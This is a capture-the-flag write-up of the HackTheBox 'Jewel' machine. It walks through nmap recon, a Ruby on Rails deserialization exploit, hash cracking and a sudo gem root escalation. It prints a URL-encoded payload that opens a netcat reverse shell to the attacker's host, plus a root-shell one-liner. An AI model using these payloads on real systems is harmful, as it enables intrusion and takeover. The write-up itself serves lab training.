Posts Hackthebox Jewel writeup
Post
Cancel

Hackthebox Jewel writeup

Introduction@Jewel:~$

Column Details
Name Jewel
IP 10.10.10.211
Points 30
Os Linux
Difficulty Medium
Creator polarbearer
Out On 10 Oct 2020

Summary

  • Nmap shows the 3 Ports open.
  • Getting the web server
  • Ananlyzing the Server sided template injection
  • Got The Shell
  • Found Password of bill in /var/backups
  • Get the code of Google Authenticator
  • Using The Command sudo -l
  • With help of GTFO bins we get the root.txt

Pwned

Recon

Nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

┌─[root@d3dsec]─[~/Desktop/HTB/Jewel]
└──╼ #cat nmap/result.nmap 
# Nmap 7.80 scan initiated Sun Sep 27 08:19:05 2020 as: nmap -sC -sV -oA /result 10.10.10.211
Nmap scan report for 10.10.10.211
Host is up (0.28s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
8000/tcp open  http    Apache httpd 2.4.38
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Jewel
8080/tcp open  http    nginx 1.14.2 (Phusion Passenger 6.0.6)
|_http-server-header: nginx/1.14.2 + Phusion Passenger 6.0.6
|_http-title: BL0G!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
| ssl-cert: Subject commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Sep 27 08:20:15 2020 -- 1 IP address (1 host up) scanned in 70.71 seconds
                                                                

So basically Three ports are opened 22:ssh 8000:http and 8080:nginx

First Thing we need to add sub-domain jewel.htb in our /etc/hosts

Port-80

Port-8000

There is a simple Blog page.

Port-80

Let's sign up in that. .

Port-80

Successfully Sign up

Jewel.htb

Now, go to login page and login with your credentials

Jewel.htb

So let's go to profile and try somemalicious thing.

Jewel.htb

But nothing will work so i check the backend with help of wappalyzer

Jewel.htb

Hmmm, its show python frame-work but we can't find the version.

Jewel.htb

Port-8080

it's a .git directory let's check the Gemfile.

Jewel.htb

Boom we find the Ruby and Gem version.

Jewel.htb

Let's check any exploit for this version

we successfully fins a exploit.

Link : Ruby on Rails

Jewel.htb

Let's use this exploit in the profile.

Jewel.htb

I capture the request in the Burp for easy to work in that.

Jewel.htb

We need to change username feild with our exploit

Jewel.htb

Change the ip address in the exploit.

1

%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3ADeprecatedInstanceVariableProxy%09%3A%0E%40instanceo%3A%08ERB%08%3A%09%40srcI%22U%60rm+%2Ftmp%2Ff%3Bmkfifo%20%2ftmp%2ff%3bcat%20%2ftmp%2ff%7c%2fbin%2fsh+-i+2%3e%261%7cnc+10.10.XX.XX+9001+%3e%2Ftmp%2ff%60%06%3A%06ET%3A%0E%40filenameI%22%061%06%3B%09T%3A%0C%40linenoi%06%3A%0C%40method%3A%0Bresult%3A%09%40varI%22%0C%40result%06%3B%09T%3A%10%40deprecatorIu%3A%1FActiveSupport%3A%3ADeprecation%00%06%3B%09T
                                                                

But first start the netcat Listener on port9001

Jewel.htb

So put the exploit in the username feild and send therequest.

Jewel.htb

successfully send the exploit

Now go to home page and reload the page.

It's reloading let's check our netcat Listener.

Jewel.htb

Boom we got the reverse shell with user Bill.

Jewel.htb

Enumeration

I found the interesting file in /var/backups directory.

Jewel.htb

Let's cat the file dump_2020-08-27.sql

terminal

We find the hash Let's crack it with john.

terminal

Boom guys, we find password of bill

1

Password = spongebob
                                                                

Now Let's Change our user to bill.

1
2
3
4

$ su bill
Password: 
bill@jewel:~$ whoami
bill
                                                                

Let's upgrade the shell with ssh.

terminal

terminal

Privilege escalation

I run LinPEAS And Nothing find anything interesting.

LinPEAS - Linux Privilege Escalation Awesome Script

But i find something in bill home directory called .google_authenticator.

terminal

Let's cat that file.

terminal

we get the google Authenticator code. Let's install a google Authenticator addon.

GAuth Authenticator

web

Let's add the code in that

web

web

we got the otp type number.

web

Let's use sudo-l command and it's ask for password then code.

terminal

But's it's give us error now i am comfused what to do next i spend my half day to identify and my friend told me that this machiene is all about sync.

Now without wasting time i check the date and timezone.

terminal

it's all different Let's change with that timezone and date.

terminal

Now it's seem to be same timezone.

terminal

Now let's try again with sudo-l.

terminal

Finnally it's work So we Known that we will use gem command to get root.

GTFOBins

web

Let's try this command to get root.

1

sudo gem open -e "/bin/sh -c /bin/sh" rdoc
                                                                

terminal

And we pwned it …….

--Auther DEDSEC

If u liked the writeup.Support a Student to Get the OSCP-Cert Donation for OSCP

Resources

Topic Url
Ruby on Rails https://github.com/masahiro331/CVE-2020-8165
LinPEAS https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS
GAuth Authenticator https://chrome.google.com/webstore/detail/gauth-authentica.......
GTFOBins https://gtfobins.github.io/gtfobins/gem/#sudo
This post is licensed under CC BY 4.0

Hackthebox Jewel writeup

Fortress Reel2 writeup

© 2020 Dedinfosec . All rights reserved.